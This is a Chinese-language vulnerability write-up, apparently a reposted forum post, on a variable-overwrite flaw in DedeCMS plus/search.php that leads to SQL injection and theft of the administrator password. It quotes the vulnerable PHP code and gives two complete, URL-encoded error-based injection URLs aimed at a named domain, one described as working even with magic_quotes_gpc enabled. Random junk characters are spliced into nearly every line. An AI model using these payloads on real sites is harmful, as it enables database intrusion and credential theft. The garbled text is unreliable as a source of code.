微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋., T1 k; ]4 I E8 j# X4 ^
作者: c4rp3nt3r@0x50sec.org2 D. }, i, w7 ?3 x5 [2 w& P/ @0 M
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
/ n. M3 i( k3 V. q: }* ~ % G1 v# v) k" c% d& {, S+ I
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧. s- ?9 M9 [* I; Q/ a/ _* S
% s6 {& L( W+ {. K============
- S& z9 n. h# y6 f 0 l1 ^: q3 S0 ~5 u! W: N
: J! m" J ?6 g7 `, Z- O
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.) E5 T! j7 W9 y, W: W% A" ~1 U
4 ~0 H: J9 ]5 f2 v( orequire_once(dirname(__FILE__).”/../include/common.inc.php”);
% D) P0 m, [7 x7 Crequire_once(DEDEINC.”/arc.searchview.class.php”);
1 K! t' \5 o) R- x/ H
. A9 m2 I( ?6 y! t$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;6 l+ P$ z" r' K" p9 w
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;( b5 \9 l9 g- Z8 ~. ?1 c4 |
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;; w/ t& D/ B9 W4 E
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
$ U& B0 u" H, D: n. f% k1 b6 Q$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
* l, f3 |" Z& m0 p( Y2 W
/ h- U6 V1 I* t" z1 }if(!isset($orderby)) $orderby=”;
7 Z1 S4 g7 A, A1 m( selse $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby); I# w3 {2 ]9 E# F
& B0 J% a8 {# N- n. N
/ {# Z) e" M, E, [; F
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;1 \ z/ @4 O7 \$ k7 ^' A
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
5 }; R/ _+ p( R/ i% R
2 u2 h! P( Z" g2 {if(!isset($keyword)){% h: m* A$ U' x: p! _# e
if(!isset($q)) $q = ”;. ?4 l) g V/ x# v* F
$keyword=$q;
) Q7 j! j) g7 C* f/ _" ?+ `}, r0 v3 x5 H+ h0 J) G6 @
6 _1 O" a( _! \5 L$ d) K$ j
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
% I1 z2 W. C+ W( q! R8 E' i) F) n ( ~* T9 I" @) A+ e/ C: b5 G
//查找栏目信息
% e9 C. P h7 q; b7 T- g1 nif(empty($typeid))9 A; F- `- }- T9 {$ r
{, } K' q; t; j& l7 B$ g. r, k' m* x
$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
3 L( O p+ F- K& N4 p Q/ D if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )2 Q1 D; P+ E0 }7 Y! j
{
: `; e6 b4 M3 E0 w& ]; Y, c $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);: I' b) L7 ]: y$ _. T
fwrite($fp, “<”.”?php\r\n”);
$ M' ^' U) q! F) h& @ $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
A( ^/ k. l4 h- C- t $dsql->Execute();" U' g/ s2 t2 f( m
while($row = $dsql->GetArray())7 ]3 S8 A$ K0 |$ r: i9 x8 I4 J
{* @! l5 [4 X: ]/ _! I
fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
4 l" V3 y. h0 x6 O }$ j" N6 t2 [' R! ^
fwrite($fp, ‘?’.'>’);
* r. s( g) m/ E! c+ G0 ]. ^1 @. z fclose($fp);
9 O+ C, x) k3 W$ F) H* \ }
, r2 R$ [" Y: j* L" S5 ^ //引入栏目缓存并看关键字是否有相关栏目内容
- D6 Q3 b6 {5 ]! T require_once($typenameCacheFile);6 r- `, k- g. o/ @# g
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
( h- n0 v% D, c/ |2 d//4 x" w* N& t- D' z7 a
if(isset($typeArr) && is_array($typeArr))- r& p: q {" c
{
4 E& V/ q" f o$ D foreach($typeArr as $id=>$typename)) c. W; ?# `, X7 a( e& J/ Z7 e5 s2 g/ H
{9 {5 S" W! ~1 q5 }! F2 e& W
& w& b5 v6 u- C
<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过- A4 M% y l, c* W- `7 U$ r/ M$ [
if($keyword != $keywordn)
2 }% P# g% f5 H" x; `1 Q {, k8 ?" ~' R, Q/ v+ [
$keyword = $keywordn;- m* a+ k- ?& ?1 _- i
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设/ t. h. v/ z5 e
break;
9 |: I. @3 c9 ? ?( N1 u }$ Q+ T: Q2 _% }) O' t1 h0 y2 {1 Y
}
, F" W! @2 Z* Z8 c* g3 M) M }
% s5 z2 H6 V' V* P ]! F& y5 H}
! O- ^3 B1 N$ J0 y然后plus/search.php文件下面定义了一个 Search类的对象 ./ h2 S, y" L2 u/ v
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
6 ~9 I, B9 B3 f1 y$this->TypeLink = new TypeLink($typeid);1 D* M+ o; g1 d
! g* e$ m; y T/ c1 k
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
# p! K' a7 E0 w+ f. D
- ?7 j5 R9 ]9 {. ~class TypeLink
/ Q9 L$ f7 {# {" e- C" b8 O{6 D( Q Z& N! c& J- Y
var $typeDir;
. M7 |! p) j' u. N var $dsql;" b" _& g% \/ q9 q( ]% o" L# L
var $TypeID;* j* m* ~# a) e7 N \
var $baseDir;
5 d# n2 i' G. n' w var $modDir;: g) l/ U. E3 e/ J- c/ E
var $indexUrl;: b3 F$ u/ J6 ~) Q
var $indexName;
2 k( o% A/ j" ^ var $TypeInfos;
& E2 j" `1 w/ _6 m9 P# e var $SplitSymbol;9 i1 }( J$ h, p
var $valuePosition;
# Q0 e# A1 m- W" A1 u# L; e var $valuePositionName;
! D4 N; U: T+ G1 h var $OptionArrayList;//构造函数///////
8 _) r: e" ]( @- v //php5构造函数+ _- r0 o: l7 w
function __construct($typeid)% z- {8 c8 U8 |# W
{3 N s; X; \( t% d9 J( \
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];# o4 ~5 \2 U/ F Y. ?( M
$this->indexName = $GLOBALS['cfg_indexname'];" [ W1 Q! H. p3 V5 X
$this->baseDir = $GLOBALS['cfg_basedir'];
J# y4 i3 k% T$ ` k: c $this->modDir = $GLOBALS['cfg_templets_dir'];
' C/ Q$ R, M1 W5 S% I& \ [7 Y $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];' R0 X A, h N/ y1 Q% o
$this->dsql = $GLOBALS['dsql'];! x" j0 M+ ^; e! W
$this->TypeID = $typeid;0 k) i4 u3 c s' d' S$ j
$this->valuePosition = ”;
" p# p$ y4 R0 Q( Z( f $this->valuePositionName = ”;. s$ S% a8 f) G! S
$this->typeDir = ”;+ Q+ \2 w U/ [$ X. M4 W9 Y! W
$this->OptionArrayList = ”;0 M1 [8 _0 L# t$ i, J1 M) W: O) D. P
7 k- e7 c6 D B+ v. Q+ i/ Q //载入类目信息
# W; R3 x; J& R: h1 Q - [" j) |+ }7 r* O; }6 R
<font color=”Red”>$query = “SELECT tp.*,ch.typename as
b% P0 j- }0 z* E+ b7 G* _% zctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join7 G$ ~4 d, H0 [9 c' x
`#@__channeltype` ch
1 i* g! @/ U4 M! ]) M on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿8 P* A3 i8 K( T$ q1 f! I$ E
. k: R+ M! b% g! Y6 P2 d% `( O4 |6 G if($typeid > 0)9 p9 W# t5 h2 V i! f
{! n l( n/ [6 f8 I
$this->TypeInfos = $this->dsql->GetOne($query); ` w$ U+ p/ N) F8 I( ?( Q
利用代码一 需要 即使magic_quotes_gpc = Off
& g2 |- Y! o8 B1 F4 a* d# S$ W # ]) _+ W, B9 z6 T) G
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title3 ~$ h2 N, {1 [4 J) v) o/ r
; q- `8 u: @7 @
这只是其中一个利用代码… Search 类的构造函数再往下" v0 J- I# x a, O- S9 y, v
) j; c5 V- {: b0 q# I$ n……省略
! R# w* W* i: @& Z$this->TypeID = $typeid;* F$ Y, D7 [4 X4 `' ?
……省略
) h1 g8 n. X& b* o0 }, ?if($this->TypeID==”0″){: e: O( H) O2 I: }8 }/ N& o
$this->ChannelTypeid=1;
5 @' w5 c& j8 |% u. \ }else{/ {+ |# X9 U1 z7 F6 G6 X
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲$ {# p1 A8 W `) K4 ~& ^2 o
//现在不鸡肋了吧亲…
& h* x+ _4 R3 D6 C W $this->ChannelTypeid=$row['channeltype'];
) o5 T! V6 T. s
' ]7 p$ C. k: K$ f }
+ P8 L9 K* O8 j+ |7 X" ^2 G# P利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
, [: H0 E+ O: P# y 2 B: R3 Y! n' w8 {0 @
www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
2 B4 H- E( j1 l4 m: y
2 ?% e+ x& A. q' f* V9 R- `5 g如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站. {! P, `+ w1 H \) h; J
|